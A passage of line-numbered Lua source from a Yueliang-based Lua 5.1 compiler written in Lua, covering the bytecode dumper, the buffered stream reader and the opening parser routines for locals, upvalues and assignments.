  2560. self:DumpBlock(self:from_double(x), D)
  2561. end
  2562.  
  2563. ------------------------------------------------------------------------
  2564. -- dumps a Lua string (size type is hard-coded)
  2565. ------------------------------------------------------------------------
  2566. function luaU:DumpString(s, D)
  2567. if s == nil then
  2568. self:DumpInt(0, D)
  2569. else
  2570. s = s.."\0" -- include trailing '\0'
  2571. self:DumpInt(#s, D)
  2572. self:DumpBlock(s, D)
  2573. end
  2574. end
  2575.  
  2576. ------------------------------------------------------------------------
  2577. -- dumps instruction block from function prototype
  2578. ------------------------------------------------------------------------
  2579. function luaU:DumpCode(f, D)
  2580. local n = f.sizecode
  2581. --was DumpVector
  2582. self:DumpInt(n, D)
  2583. for i = 0, n - 1 do
  2584. self:DumpBlock(luaP:Instruction(f.code[i]), D)
  2585. end
  2586. end
  2587.  
  2588. ------------------------------------------------------------------------
  2589. -- dump constant pool from function prototype
  2590. -- * bvalue(o), nvalue(o) and rawtsvalue(o) macros removed
  2591. ------------------------------------------------------------------------
  2592. function luaU:DumpConstants(f, D)
  2593. local n = f.sizek
  2594. self:DumpInt(n, D)
  2595. for i = 0, n - 1 do
  2596. local o = f.k[i] -- TValue
  2597. local tt = self:ttype(o)
  2598. self:DumpChar(tt, D)
  2599. if tt == self.LUA_TNIL then
  2600. elseif tt == self.LUA_TBOOLEAN then
  2601. self:DumpChar(o.value and 1 or 0, D)
  2602. elseif tt == self.LUA_TNUMBER then
  2603. self:DumpNumber(o.value, D)
  2604. elseif tt == self.LUA_TSTRING then
  2605. self:DumpString(o.value, D)
  2606. else
  2607. --lua_assert(0) -- cannot happen
  2608. end
  2609. end
  2610. n = f.sizep
  2611. self:DumpInt(n, D)
  2612. for i = 0, n - 1 do
  2613. self:DumpFunction(f.p[i], f.source, D)
  2614. end
  2615. end
  2616.  
  2617. ------------------------------------------------------------------------
  2618. -- dump debug information
  2619. ------------------------------------------------------------------------
  2620. function luaU:DumpDebug(f, D)
  2621. local n
  2622. n = D.strip and 0 or f.sizelineinfo -- dump line information
  2623. --was DumpVector
  2624. self:DumpInt(n, D)
  2625. for i = 0, n - 1 do
  2626. self:DumpInt(f.lineinfo[i], D)
  2627. end
  2628. n = D.strip and 0 or f.sizelocvars -- dump local information
  2629. self:DumpInt(n, D)
  2630. for i = 0, n - 1 do
  2631. self:DumpString(f.locvars[i].varname, D)
  2632. self:DumpInt(f.locvars[i].startpc, D)
  2633. self:DumpInt(f.locvars[i].endpc, D)
  2634. end
  2635. n = D.strip and 0 or f.sizeupvalues -- dump upvalue information
  2636. self:DumpInt(n, D)
  2637. for i = 0, n - 1 do
  2638. self:DumpString(f.upvalues[i], D)
  2639. end
  2640. end
  2641.  
  2642. ------------------------------------------------------------------------
  2643. -- dump child function prototypes from function prototype
  2644. ------------------------------------------------------------------------
  2645. function luaU:DumpFunction(f, p, D)
  2646. local source = f.source
  2647. if source == p or D.strip then source = nil end
  2648. self:DumpString(source, D)
  2649. self:DumpInt(f.lineDefined, D)
  2650. self:DumpInt(f.lastlinedefined, D)
  2651. self:DumpChar(f.nups, D)
  2652. self:DumpChar(f.numparams, D)
  2653. self:DumpChar(f.is_vararg, D)
  2654. self:DumpChar(f.maxstacksize, D)
  2655. self:DumpCode(f, D)
  2656. self:DumpConstants(f, D)
  2657. self:DumpDebug(f, D)
  2658. end
  2659.  
  2660. ------------------------------------------------------------------------
  2661. -- dump Lua header section (some sizes hard-coded)
  2662. ------------------------------------------------------------------------
  2663. function luaU:DumpHeader(D)
  2664. local h = self:header()
  2665. assert(#h == self.LUAC_HEADERSIZE) -- fixed buffer now an assert
  2666. self:DumpBlock(h, D)
  2667. end
  2668.  
  2669. ------------------------------------------------------------------------
  2670. -- make header (from lundump.c)
  2671. -- returns the header string
  2672. ------------------------------------------------------------------------
  2673. function luaU:header()
  2674. local x = 1
  2675. return self.LUA_SIGNATURE..
  2676. string.char(
  2677. self.LUAC_VERSION,
  2678. self.LUAC_FORMAT,
  2679. x, -- endianness (1=little)
  2680. 4, -- sizeof(int)
  2681. 4, -- sizeof(size_t)
  2682. 4, -- sizeof(Instruction)
  2683. 8, -- sizeof(lua_Number)
  2684. 0) -- is lua_Number integral?
  2685. end
  2686.  
  2687. ------------------------------------------------------------------------
  2688. -- dump Lua function as precompiled chunk
  2689. -- (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip)
  2690. -- * w, data are created from make_setS, make_setF
  2691. ------------------------------------------------------------------------
  2692. function luaU:dump(L, f, w, data, strip)
  2693. local D = {} -- DumpState
  2694. D.L = L
  2695. D.write = w
  2696. D.data = data
  2697. D.strip = strip
  2698. D.status = 0
  2699. self:DumpHeader(D)
  2700. self:DumpFunction(f, nil, D)
  2701. -- added: for a chunk writer writing to a file, this final call with
  2702. -- nil data is to indicate to the writer to close the file
  2703. D.write(nil, D.data)
  2704. return D.status
  2705. end
  2706.  
  2707. --[[--------------------------------------------------------------------
  2708.  
  2709. lzio.lua
  2710. Lua buffered streams in Lua
  2711. This file is part of Yueliang.
  2712.  
  2713. Copyright (c) 2005-2006 Kein-Hong Man <khman@users.sf.net>
  2714. The COPYRIGHT file describes the conditions
  2715. under which this software may be distributed.
  2716.  
  2717. See the ChangeLog for more information.
  2718.  
  2719. ----------------------------------------------------------------------]]
  2720.  
  2721. --[[--------------------------------------------------------------------
  2722. -- Notes:
  2723. -- * EOZ is implemented as a string, "EOZ"
  2724. -- * Format of z structure (ZIO)
  2725. -- z.n -- bytes still unread
  2726. -- z.p -- last read position position in buffer
  2727. -- z.reader -- chunk reader function
  2728. -- z.data -- additional data
  2729. -- * Current position, p, is now last read index instead of a pointer
  2730. --
  2731. -- Not implemented:
  2732. -- * luaZ_lookahead: used only in lapi.c:lua_load to detect binary chunk
  2733. -- * luaZ_read: used only in lundump.c:ezread to read +1 bytes
  2734. -- * luaZ_openspace: dropped; let Lua handle buffers as strings (used in
  2735. -- lundump.c:LoadString & lvm.c:luaV_concat)
  2736. -- * luaZ buffer macros: dropped; buffers are handled as strings
  2737. -- * lauxlib.c:getF reader implementation has an extraline flag to
  2738. -- skip over a shbang (#!) line, this is not implemented here
  2739. --
  2740. -- Added:
  2741. -- (both of the following are vaguely adapted from lauxlib.c)
  2742. -- * luaZ:make_getS: create Reader from a string
  2743. -- * luaZ:make_getF: create Reader that reads from a file
  2744. --
  2745. -- Changed in 5.1.x:
  2746. -- * Chunkreader renamed to Reader (ditto with Chunkwriter)
  2747. -- * Zio struct: no more name string, added Lua state for reader
  2748. -- (however, Yueliang readers do not require a Lua state)
  2749. ----------------------------------------------------------------------]]
  2750.  
  2751. luaZ = {}
  2752.  
  2753. ------------------------------------------------------------------------
  2754. -- * reader() should return a string, or nil if nothing else to parse.
  2755. -- Additional data can be set only during stream initialization
  2756. -- * Readers are handled in lauxlib.c, see luaL_load(file|buffer|string)
  2757. -- * LUAL_BUFFERSIZE=BUFSIZ=512 in make_getF() (located in luaconf.h)
  2758. -- * Original Reader typedef:
  2759. -- const char * (*lua_Reader) (lua_State *L, void *ud, size_t *sz);
  2760. -- * This Lua chunk reader implementation:
  2761. -- returns string or nil, no arguments to function
  2762. ------------------------------------------------------------------------
  2763.  
  2764. ------------------------------------------------------------------------
  2765. -- create a chunk reader from a source string
  2766. ------------------------------------------------------------------------
  2767. function luaZ:make_getS(buff)
  2768. local b = buff
  2769. return function() -- chunk reader anonymous function here
  2770. if not b then return nil end
  2771. local data = b
  2772. b = nil
  2773. return data
  2774. end
  2775. end
  2776.  
  2777. ------------------------------------------------------------------------
  2778. -- create a chunk reader from a source file
  2779. ------------------------------------------------------------------------
  2780. --[[
  2781. function luaZ:make_getF(filename)
  2782. local LUAL_BUFFERSIZE = 512
  2783. local h = io.open(filename, "r")
  2784. if not h then return nil end
  2785. return function() -- chunk reader anonymous function here
  2786. if not h or io.type(h) == "closed file" then return nil end
  2787. local buff = h:read(LUAL_BUFFERSIZE)
  2788. if not buff then h:close(); h = nil end
  2789. return buff
  2790. end
  2791. end
  2792. --]]
  2793. ------------------------------------------------------------------------
  2794. -- creates a zio input stream
  2795. -- returns the ZIO structure, z
  2796. ------------------------------------------------------------------------
  2797. function luaZ:init(reader, data, name)
  2798. if not reader then return end
  2799. local z = {}
  2800. z.reader = reader
  2801. z.data = data or ""
  2802. z.name = name
  2803. -- set up additional data for reading
  2804. if not data or data == "" then z.n = 0 else z.n = #data end
  2805. z.p = 0
  2806. return z
  2807. end
  2808.  
  2809. ------------------------------------------------------------------------
  2810. -- fill up input buffer
  2811. ------------------------------------------------------------------------
  2812. function luaZ:fill(z)
  2813. local buff = z.reader()
  2814. z.data = buff
  2815. if not buff or buff == "" then return "EOZ" end
  2816. z.n, z.p = #buff - 1, 1
  2817. return string.sub(buff, 1, 1)
  2818. end
  2819.  
  2820. ------------------------------------------------------------------------
  2821. -- get next character from the input stream
  2822. -- * local n, p are used to optimize code generation
  2823. ------------------------------------------------------------------------
  2824. function luaZ:zgetc(z)
  2825. local n, p = z.n, z.p + 1
  2826. if n > 0 then
  2827. z.n, z.p = n - 1, p
  2828. return string.sub(z.data, p, p)
  2829. else
  2830. return self:fill(z)
  2831. end
  2832. end
  2833.  
  2834. --[[--------------------------------------------------------------------
  2835.  
  2836. lparser.lua
  2837. Lua 5 parser in Lua
  2838. This file is part of Yueliang.
  2839.  
  2840. Copyright (c) 2005-2007 Kein-Hong Man <khman@users.sf.net>
  2841. The COPYRIGHT file describes the conditions
  2842. under which this software may be distributed.
  2843.  
  2844. See the ChangeLog for more information.
  2845.  
  2846. ----------------------------------------------------------------------]]
  2847.  
  2848. --[[--------------------------------------------------------------------
  2849. -- Notes:
  2850. -- * some unused C code that were not converted are kept as comments
  2851. -- * LUA_COMPAT_VARARG option changed into a comment block
  2852. -- * for value/size specific code added, look for 'NOTE: '
  2853. --
  2854. -- Not implemented:
  2855. -- * luaX_newstring not needed by this Lua implementation
  2856. -- * luaG_checkcode() in assert is not currently implemented
  2857. --
  2858. -- Added:
  2859. -- * some constants added from various header files
  2860. -- * luaY.LUA_QS used in error_expected, check_match (from luaconf.h)
  2861. -- * luaY:LUA_QL needed for error messages (from luaconf.h)
  2862. -- * luaY:growvector (from lmem.h) -- skeleton only, limit checking
  2863. -- * luaY.SHRT_MAX (from <limits.h>) for registerlocalvar
  2864. -- * luaY:newproto (from lfunc.c)
  2865. -- * luaY:int2fb (from lobject.c)
  2866. -- * NOTE: HASARG_MASK, for implementing a VARARG_HASARG bit operation
  2867. -- * NOTE: value-specific code for VARARG_NEEDSARG to replace a bitop
  2868. --
  2869. -- Changed in 5.1.x:
  2870. -- * various code changes are not detailed...
  2871. -- * names of constants may have changed, e.g. added a LUAI_ prefix
  2872. -- * struct expkind: added VKNUM, VVARARG; VCALL's info changed?
  2873. -- * struct expdesc: added nval
  2874. -- * struct FuncState: upvalues data type changed to upvaldesc
  2875. -- * macro hasmultret is new
  2876. -- * function checklimit moved to parser from lexer
  2877. -- * functions anchor_token, errorlimit, checknext are new
  2878. -- * checknext is new, equivalent to 5.0.x's check, see check too
  2879. -- * luaY:next and luaY:lookahead moved to lexer
  2880. -- * break keyword no longer skipped in luaY:breakstat
  2881. -- * function new_localvarstr replaced by new_localvarliteral
  2882. -- * registerlocalvar limits local variables to SHRT_MAX
  2883. -- * create_local deleted, new_localvarliteral used instead
  2884. -- * constant LUAI_MAXUPVALUES increased to 60
  2885. -- * constants MAXPARAMS, LUA_MAXPARSERLEVEL, MAXSTACK removed
  2886. -- * function interface changed: singlevaraux, singlevar
  2887. -- * enterlevel and leavelevel uses nCcalls to track call depth
  2888. -- * added a name argument to main entry function, luaY:parser
  2889. -- * function luaY_index changed to yindex
  2890. -- * luaY:int2fb()'s table size encoding format has been changed
  2891. -- * luaY:log2() no longer needed for table constructors
  2892. -- * function code_params deleted, functionality folded in parlist
  2893. -- * vararg flags handling (is_vararg) changes; also see VARARG_*
  2894. -- * LUA_COMPATUPSYNTAX section for old-style upvalues removed
  2895. -- * repeatstat() calls chunk() instead of block()
  2896. -- * function interface changed: cond, test_then_block
  2897. -- * while statement implementation considerably simplified; MAXEXPWHILE
  2898. -- and EXTRAEXP no longer required, no limits to the complexity of a
  2899. -- while condition
  2900. -- * repeat, forbody statement implementation has major changes,
  2901. -- mostly due to new scoping behaviour of local variables
  2902. -- * OPR_MULT renamed to OPR_MUL
  2903. ----------------------------------------------------------------------]]
  2904.  
  2905. --requires luaP, luaX, luaK
  2906. luaY = {}
  2907. local luaK = GetLuaK(luaY)
  2908.  
  2909. --[[--------------------------------------------------------------------
  2910. -- Expression descriptor
  2911. -- * expkind changed to string constants; luaY:assignment was the only
  2912. -- function to use a relational operator with this enumeration
  2913. -- VVOID -- no value
  2914. -- VNIL -- no value
  2915. -- VTRUE -- no value
  2916. -- VFALSE -- no value
  2917. -- VK -- info = index of constant in 'k'
  2918. -- VKNUM -- nval = numerical value
  2919. -- VLOCAL -- info = local register
  2920. -- VUPVAL, -- info = index of upvalue in 'upvalues'
  2921. -- VGLOBAL -- info = index of table; aux = index of global name in 'k'
  2922. -- VINDEXED -- info = table register; aux = index register (or 'k')
  2923. -- VJMP -- info = instruction pc
  2924. -- VRELOCABLE -- info = instruction pc
  2925. -- VNONRELOC -- info = result register
  2926. -- VCALL -- info = instruction pc
  2927. -- VVARARG -- info = instruction pc
  2928. } ----------------------------------------------------------------------]]
  2929.  
  2930. --[[--------------------------------------------------------------------
  2931. -- * expdesc in Lua 5.1.x has a union u and another struct s; this Lua
  2932. -- implementation ignores all instances of u and s usage
  2933. -- struct expdesc:
  2934. -- k -- (enum: expkind)
  2935. -- info, aux -- (int, int)
  2936. -- nval -- (lua_Number)
  2937. -- t -- patch list of 'exit when true'
  2938. -- f -- patch list of 'exit when false'
  2939. ----------------------------------------------------------------------]]
  2940.  
  2941. --[[--------------------------------------------------------------------
  2942. -- struct upvaldesc:
  2943. -- k -- (lu_byte)
  2944. -- info -- (lu_byte)
  2945. ----------------------------------------------------------------------]]
  2946.  
  2947. --[[--------------------------------------------------------------------
  2948. -- state needed to generate code for a given function
  2949. -- struct FuncState:
  2950. -- f -- current function header (table: Proto)
  2951. -- h -- table to find (and reuse) elements in 'k' (table: Table)
  2952. -- prev -- enclosing function (table: FuncState)
  2953. -- ls -- lexical state (table: LexState)
  2954. -- L -- copy of the Lua state (table: lua_State)
  2955. -- bl -- chain of current blocks (table: BlockCnt)
  2956. -- pc -- next position to code (equivalent to 'ncode')
  2957. -- lasttarget -- 'pc' of last 'jump target'
  2958. -- jpc -- list of pending jumps to 'pc'
  2959. -- freereg -- first free register
  2960. -- nk -- number of elements in 'k'
  2961. -- np -- number of elements in 'p'
  2962. -- nlocvars -- number of elements in 'locvars'
  2963. -- nactvar -- number of active local variables
  2964. -- upvalues[LUAI_MAXUPVALUES] -- upvalues (table: upvaldesc)
  2965. -- actvar[LUAI_MAXVARS] -- declared-variable stack
  2966. ----------------------------------------------------------------------]]
  2967.  
  2968. ------------------------------------------------------------------------
  2969. -- constants used by parser
  2970. -- * picks up duplicate values from luaX if required
  2971. ------------------------------------------------------------------------
  2972.  
  2973. luaY.LUA_QS = --[[luaX.LUA_QS ~= nil and luaX.LUA_QS or]] "'%s'" -- (from luaconf.h)
  2974.  
  2975. luaY.SHRT_MAX = 32767 -- (from <limits.h>)
  2976. luaY.LUAI_MAXVARS = 200 -- (luaconf.h)
  2977. luaY.LUAI_MAXUPVALUES = 60 -- (luaconf.h)
  2978. luaY.MAX_INT = --[[luaX.MAX_INT or]] 2147483645 -- (from llimits.h)
  2979. -- * INT_MAX-2 for 32-bit systems
  2980. luaY.LUAI_MAXCCALLS = 200 -- (from luaconf.h)
  2981.  
  2982. luaY.VARARG_HASARG = 1 -- (from lobject.h)
  2983. -- NOTE: HASARG_MASK is value-specific
  2984. luaY.HASARG_MASK = 2 -- this was added for a bitop in parlist()
  2985. luaY.VARARG_ISVARARG = 2
  2986. -- NOTE: there is some value-specific code that involves VARARG_NEEDSARG
  2987. luaY.VARARG_NEEDSARG = 4
  2988.  
  2989. luaY.LUA_MULTRET = -1 -- (lua.h)
  2990.  
  2991. --[[--------------------------------------------------------------------
  2992. -- other functions
  2993. ----------------------------------------------------------------------]]
  2994.  
  2995. ------------------------------------------------------------------------
  2996. -- LUA_QL describes how error messages quote program elements.
  2997. -- CHANGE it if you want a different appearance. (from luaconf.h)
  2998. ------------------------------------------------------------------------
  2999. function luaY:LUA_QL(x)
  3000. return "'"..x.."'"
  3001. end
  3002.  
  3003. ------------------------------------------------------------------------
  3004. -- this is a stripped-down luaM_growvector (from lmem.h) which is a
  3005. -- macro based on luaM_growaux (in lmem.c); all the following does is
  3006. -- reproduce the size limit checking logic of the original function
  3007. -- so that error behaviour is identical; all arguments preserved for
  3008. -- convenience, even those which are unused
  3009. -- * set the t field to nil, since this originally does a sizeof(t)
  3010. -- * size (originally a pointer) is never updated, their final values
  3011. -- are set by luaY:close_func(), so overall things should still work
  3012. ------------------------------------------------------------------------
  3013. function luaY:growvector(L, v, nelems, size, t, limit, e)
  3014. if nelems >= limit then
  3015. error(e) -- was luaG_runerror
  3016. end
  3017. end
  3018.  
  3019. ------------------------------------------------------------------------
  3020. -- initialize a new function prototype structure (from lfunc.c)
  3021. -- * used only in open_func()
  3022. ------------------------------------------------------------------------
  3023. function luaY:newproto(L)
  3024. local f = {} -- Proto
  3025. -- luaC_link(L, obj2gco(f), LUA_TPROTO); /* GC */
  3026. f.k = {}
  3027. f.sizek = 0
  3028. f.p = {}
  3029. f.sizep = 0
  3030. f.code = {}
  3031. f.sizecode = 0
  3032. f.sizelineinfo = 0
  3033. f.sizeupvalues = 0
  3034. f.nups = 0
  3035. f.upvalues = {}
  3036. f.numparams = 0
  3037. f.is_vararg = 0
  3038. f.maxstacksize = 0
  3039. f.lineinfo = {}
  3040. f.sizelocvars = 0
  3041. f.locvars = {}
  3042. f.lineDefined = 0
  3043. f.lastlinedefined = 0
  3044. f.source = nil
  3045. return f
  3046. end
  3047.  
  3048. ------------------------------------------------------------------------
  3049. -- converts an integer to a "floating point byte", represented as
  3050. -- (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if
  3051. -- eeeee != 0 and (xxx) otherwise.
  3052. ------------------------------------------------------------------------
  3053. function luaY:int2fb(x)
  3054. local e = 0 -- exponent
  3055. while x >= 16 do
  3056. x = math.floor((x + 1) / 2)
  3057. e = e + 1
  3058. end
  3059. if x < 8 then
  3060. return x
  3061. else
  3062. return ((e + 1) * 8) + (x - 8)
  3063. end
  3064. end
  3065.  
  3066. --[[--------------------------------------------------------------------
  3067. -- parser functions
  3068. ----------------------------------------------------------------------]]
  3069.  
  3070. ------------------------------------------------------------------------
  3071. -- true of the kind of expression produces multiple return values
  3072. ------------------------------------------------------------------------
  3073. function luaY:hasmultret(k)
  3074. return k == "VCALL" or k == "VVARARG"
  3075. end
  3076.  
  3077. ------------------------------------------------------------------------
  3078. -- convenience function to access active local i, returns entry
  3079. ------------------------------------------------------------------------
  3080. function luaY:getlocvar(fs, i)
  3081. return fs.f.locvars[ fs.actvar[i] ]
  3082. end
  3083.  
  3084. ------------------------------------------------------------------------
  3085. -- check a limit, string m provided as an error message
  3086. ------------------------------------------------------------------------
  3087. function luaY:checklimit(fs, v, l, m)
  3088. if v > l then self:errorlimit(fs, l, m) end
  3089. end
  3090.  
  3091. --[[--------------------------------------------------------------------
  3092. -- nodes for block list (list of active blocks)
  3093. -- struct BlockCnt:
  3094. -- previous -- chain (table: BlockCnt)
  3095. -- breaklist -- list of jumps out of this loop
  3096. -- nactvar -- # active local variables outside the breakable structure
  3097. -- upval -- true if some variable in the block is an upvalue (boolean)
  3098. -- isbreakable -- true if 'block' is a loop (boolean)
  3099. ----------------------------------------------------------------------]]
  3100.  
  3101. ------------------------------------------------------------------------
  3102. -- prototypes for recursive non-terminal functions
  3103. ------------------------------------------------------------------------
  3104. -- prototypes deleted; not required in Lua
  3105.  
  3106. ------------------------------------------------------------------------
  3107. -- reanchor if last token is has a constant string, see close_func()
  3108. -- * used only in close_func()
  3109. ------------------------------------------------------------------------
  3110. function luaY:anchor_token(ls)
  3111. if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then
  3112. -- not relevant to Lua implementation of parser
  3113. -- local ts = ls.t.seminfo
  3114. -- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */
  3115. end
  3116. end
  3117.  
  3118. ------------------------------------------------------------------------
  3119. -- throws a syntax error if token expected is not there
  3120. ------------------------------------------------------------------------
  3121. function luaY:error_expected(ls, token)
  3122. luaX:syntaxerror(ls,
  3123. string.format(self.LUA_QS.." expected", luaX:token2str(ls, token)))
  3124. end
  3125.  
  3126. ------------------------------------------------------------------------
  3127. -- prepares error message for display, for limits exceeded
  3128. -- * used only in checklimit()
  3129. ------------------------------------------------------------------------
  3130. function luaY:errorlimit(fs, limit, what)
  3131. local msg = (fs.f.linedefined == 0) and
  3132. string.format("main function has more than %d %s", limit, what) or
  3133. string.format("function at line %d has more than %d %s",
  3134. fs.f.linedefined, limit, what)
  3135. luaX:lexerror(fs.ls, msg, 0)
  3136. end
  3137.  
  3138. ------------------------------------------------------------------------
  3139. -- tests for a token, returns outcome
  3140. -- * return value changed to boolean
  3141. ------------------------------------------------------------------------
  3142. function luaY:testnext(ls, c)
  3143. if ls.t.token == c then
  3144. luaX:next(ls)
  3145. return true
  3146. else
  3147. return false
  3148. end
  3149. end
  3150.  
  3151. ------------------------------------------------------------------------
  3152. -- check for existence of a token, throws error if not found
  3153. ------------------------------------------------------------------------
  3154. function luaY:check(ls, c)
  3155. if ls.t.token ~= c then
  3156. self:error_expected(ls, c)
  3157. end
  3158. end
  3159.  
  3160. ------------------------------------------------------------------------
  3161. -- verify existence of a token, then skip it
  3162. ------------------------------------------------------------------------
  3163. function luaY:checknext(ls, c)
  3164. self:check(ls, c)
  3165. luaX:next(ls)
  3166. end
  3167.  
  3168. ------------------------------------------------------------------------
  3169. -- throws error if condition not matched
  3170. ------------------------------------------------------------------------
  3171. function luaY:check_condition(ls, c, msg)
  3172. if not c then luaX:syntaxerror(ls, msg) end
  3173. end
  3174.  
  3175. ------------------------------------------------------------------------
  3176. -- verifies token conditions are met or else throw error
  3177. ------------------------------------------------------------------------
  3178. function luaY:check_match(ls, what, who, where)
  3179. if not self:testnext(ls, what) then
  3180. if where == ls.linenumber then
  3181. self:error_expected(ls, what)
  3182. else
  3183. luaX:syntaxerror(ls, string.format(
  3184. self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)",
  3185. luaX:token2str(ls, what), luaX:token2str(ls, who), where))
  3186. end
  3187. end
  3188. end
  3189.  
  3190. ------------------------------------------------------------------------
  3191. -- expect that token is a name, return the name
  3192. ------------------------------------------------------------------------
  3193. function luaY:str_checkname(ls)
  3194. self:check(ls, "TK_NAME")
  3195. local ts = ls.t.seminfo
  3196. luaX:next(ls)
  3197. return ts
  3198. end
  3199.  
  3200. ------------------------------------------------------------------------
  3201. -- initialize a struct expdesc, expression description data structure
  3202. ------------------------------------------------------------------------
  3203. function luaY:init_exp(e, k, i)
  3204. e.f, e.t = luaK.NO_JUMP, luaK.NO_JUMP
  3205. e.k = k
  3206. e.info = i
  3207. end
  3208.  
  3209. ------------------------------------------------------------------------
  3210. -- adds given string s in string pool, sets e as VK
  3211. ------------------------------------------------------------------------
  3212. function luaY:codestring(ls, e, s)
  3213. self:init_exp(e, "VK", luaK:stringK(ls.fs, s))
  3214. end
  3215.  
  3216. ------------------------------------------------------------------------
  3217. -- consume a name token, adds it to string pool, sets e as VK
  3218. ------------------------------------------------------------------------
  3219. function luaY:checkname(ls, e)
  3220. self:codestring(ls, e, self:str_checkname(ls))
  3221. end
  3222.  
  3223. ------------------------------------------------------------------------
  3224. -- creates struct entry for a local variable
  3225. -- * used only in new_localvar()
  3226. ------------------------------------------------------------------------
  3227. function luaY:registerlocalvar(ls, varname)
  3228. local fs = ls.fs
  3229. local f = fs.f
  3230. self:growvector(ls.L, f.locvars, fs.nlocvars, f.sizelocvars,
  3231. nil, self.SHRT_MAX, "too many local variables")
  3232. -- loop to initialize empty f.locvar positions not required
  3233. f.locvars[fs.nlocvars] = {} -- LocVar
  3234. f.locvars[fs.nlocvars].varname = varname
  3235. -- luaC_objbarrier(ls.L, f, varname) /* GC */
  3236. local nlocvars = fs.nlocvars
  3237. fs.nlocvars = fs.nlocvars + 1
  3238. return nlocvars
  3239. end
  3240.  
  3241. ------------------------------------------------------------------------
  3242. -- creates a new local variable given a name and an offset from nactvar
  3243. -- * used in fornum(), forlist(), parlist(), body()
  3244. ------------------------------------------------------------------------
  3245. function luaY:new_localvarliteral(ls, v, n)
  3246. self:new_localvar(ls, v, n)
  3247. end
  3248.  
  3249. ------------------------------------------------------------------------
  3250. -- register a local variable, set in active variable list
  3251. ------------------------------------------------------------------------
  3252. function luaY:new_localvar(ls, name, n)
  3253. local fs = ls.fs
  3254. self:checklimit(fs, fs.nactvar + n + 1, self.LUAI_MAXVARS, "local variables")
  3255. fs.actvar[fs.nactvar + n] = self:registerlocalvar(ls, name)
  3256. end
  3257.  
  3258. ------------------------------------------------------------------------
  3259. -- adds nvars number of new local variables, set debug information
  3260. ------------------------------------------------------------------------
  3261. function luaY:adjustlocalvars(ls, nvars)
  3262. local fs = ls.fs
  3263. fs.nactvar = fs.nactvar + nvars
  3264. for i = nvars, 1, -1 do
  3265. self:getlocvar(fs, fs.nactvar - i).startpc = fs.pc
  3266. end
  3267. end
  3268.  
  3269. ------------------------------------------------------------------------
  3270. -- removes a number of locals, set debug information
  3271. ------------------------------------------------------------------------
  3272. function luaY:removevars(ls, tolevel)
  3273. local fs = ls.fs
  3274. while fs.nactvar > tolevel do
  3275. fs.nactvar = fs.nactvar - 1
  3276. self:getlocvar(fs, fs.nactvar).endpc = fs.pc
  3277. end
  3278. end
  3279.  
  3280. ------------------------------------------------------------------------
  3281. -- returns an existing upvalue index based on the given name, or
  3282. -- creates a new upvalue struct entry and returns the new index
  3283. -- * used only in singlevaraux()
  3284. ------------------------------------------------------------------------
  3285. function luaY:indexupvalue(fs, name, v)
  3286. local f = fs.f
  3287. for i = 0, f.nups - 1 do
  3288. if fs.upvalues[i].k == v.k and fs.upvalues[i].info == v.info then
  3289. assert(f.upvalues[i] == name)
  3290. return i
  3291. end
  3292. end
  3293. -- new one
  3294. self:checklimit(fs, f.nups + 1, self.LUAI_MAXUPVALUES, "upvalues")
  3295. self:growvector(fs.L, f.upvalues, f.nups, f.sizeupvalues,
  3296. nil, self.MAX_INT, "")
  3297. -- loop to initialize empty f.upvalues positions not required
  3298. f.upvalues[f.nups] = name
  3299. -- luaC_objbarrier(fs->L, f, name); /* GC */
  3300. assert(v.k == "VLOCAL" or v.k == "VUPVAL")
  3301. -- this is a partial copy; only k & info fields used
  3302. fs.upvalues[f.nups] = { k = v.k, info = v.info }
  3303. local nups = f.nups
  3304. f.nups = f.nups + 1
  3305. return nups
  3306. end
  3307.  
  3308. ------------------------------------------------------------------------
  3309. -- search the local variable namespace of the given fs for a match
  3310. -- * used only in singlevaraux()
  3311. ------------------------------------------------------------------------
  3312. function luaY:searchvar(fs, n)
  3313. for i = fs.nactvar - 1, 0, -1 do
  3314. if n == self:getlocvar(fs, i).varname then
  3315. return i
  3316. end
  3317. end
  3318. return -1 -- not found
  3319. end
  3320.  
  3321. ------------------------------------------------------------------------
  3322. -- * mark upvalue flags in function states up to a given level
  3323. -- * used only in singlevaraux()
  3324. ------------------------------------------------------------------------
  3325. function luaY:markupval(fs, level)
  3326. local bl = fs.bl
  3327. while bl and bl.nactvar > level do bl = bl.previous end
  3328. if bl then bl.upval = true end
  3329. end
  3330.  
  3331. ------------------------------------------------------------------------
  3332. -- handle locals, globals and upvalues and related processing
  3333. -- * search mechanism is recursive, calls itself to search parents
  3334. -- * used only in singlevar()
  3335. ------------------------------------------------------------------------
  3336. function luaY:singlevaraux(fs, n, var, base)
  3337. if fs == nil then -- no more levels?
  3338. self:init_exp(var, "VGLOBAL", luaP.NO_REG) -- default is global variable
  3339. return "VGLOBAL"
  3340. else
  3341. local v = self:searchvar(fs, n) -- look up at current level
  3342. if v >= 0 then
  3343. self:init_exp(var, "VLOCAL", v)
  3344. if base == 0 then
  3345. self:markupval(fs, v) -- local will be used as an upval
  3346. end
  3347. return "VLOCAL"
  3348. else -- not found at current level; try upper one
  3349. if self:singlevaraux(fs.prev, n, var, 0) == "VGLOBAL" then
  3350. return "VGLOBAL"
  3351. end
  3352. var.info = self:indexupvalue(fs, n, var) -- else was LOCAL or UPVAL
  3353. var.k = "VUPVAL" -- upvalue in this level
  3354. return "VUPVAL"
  3355. end--if v
  3356. end--if fs
  3357. end
  3358.  
  3359. ------------------------------------------------------------------------
  3360. -- consume a name token, creates a variable (global|local|upvalue)
  3361. -- * used in prefixexp(), funcname()
  3362. ------------------------------------------------------------------------
  3363. function luaY:singlevar(ls, var)
  3364. local varname = self:str_checkname(ls)
  3365. local fs = ls.fs
  3366. if self:singlevaraux(fs, varname, var, 1) == "VGLOBAL" then
  3367. var.info = luaK:stringK(fs, varname) -- info points to global name
  3368. end
  3369. end
  3370.  
  3371. ------------------------------------------------------------------------
  3372. -- adjust RHS to match LHS in an assignment
  3373. -- * used in assignment(), forlist(), localstat()
  3374. ------------------------------------------------------------------------
  3375. function luaY:adjust_assign(ls, nvars, nexps, e)
  3376. local fs = ls.fs
  3377. local extra = nvars - nexps
  3378. if self:hasmultret(e.k) then
  3379. extra = extra + 1 -- includes call itself
  3380. if extra <= 0 then extra = 0 end
  3381. luaK:setreturns(fs, e, extra) -- last exp. provides the difference
  3382. if extra > 1 then luaK:reserveregs(fs, extra - 1) end
  3383. else
